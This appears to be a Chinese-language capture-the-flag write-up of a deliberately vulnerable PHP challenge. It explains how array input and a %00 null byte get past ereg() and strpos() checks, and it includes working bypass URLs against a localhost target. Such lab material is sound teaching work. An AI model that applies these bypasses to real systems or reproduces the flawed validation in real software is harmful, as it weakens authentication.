源码:
<?php
$flag="flag";
if(isset($_GET['password'])){
if(ereg("^[a-zA-Z0-9]+$",$_GET['password'])===FALSE)
echo'Youpasswordmustbealphanumeric';
elseif(strpos($_GET['password'],'--')!==FALSE)
die('Flag:'.$flag);
else
echo'Invalidpassword';
}
?>
函数释义:
strpos()函数查找字符串在另一字符串中第一次出现的位置,如果没有找到该字符串,则返回 false。
ereg正则函数,限制了输入必须要有数字
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
两个函数都可以用数组进行绕过。
strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求。ereg()在出错时返回的也是null,null!==false,所以符合要求。
代码分析:
获取flag条件
if(ereg("^[a-zA-Z0-9]+$",$_GET['password'])===FALSE) 不满足
elseif(strpos($_GET['password'],'--')!==FALSE 满足
解题过程:
数组绕过:
http://localhost:63342/php_bugs-master/19%20ereg()%E5%87%BD%E6%95%B0strpos()%20%E5%87%BD%E6%95%B0%E7%94%A8%E6%95%B0%E7%BB%84%E8%BF%94%E5%9B%9ENULL%E7%BB%95%E8%BF%87.php?password[]=
%00截断绕过:
http://localhost:63342/php_bugs-master/19%20ereg()%E5%87%BD%E6%95%B0strpos()%20%E5%87%BD%E6%95%B0%E7%94%A8%E6%95%B0%E7%BB%84%E8%BF%94%E5%9B%9ENULL%E7%BB%95%E8%BF%87.php?password=1%00--
参考链接:
https://github.com/bowu678/php_bugs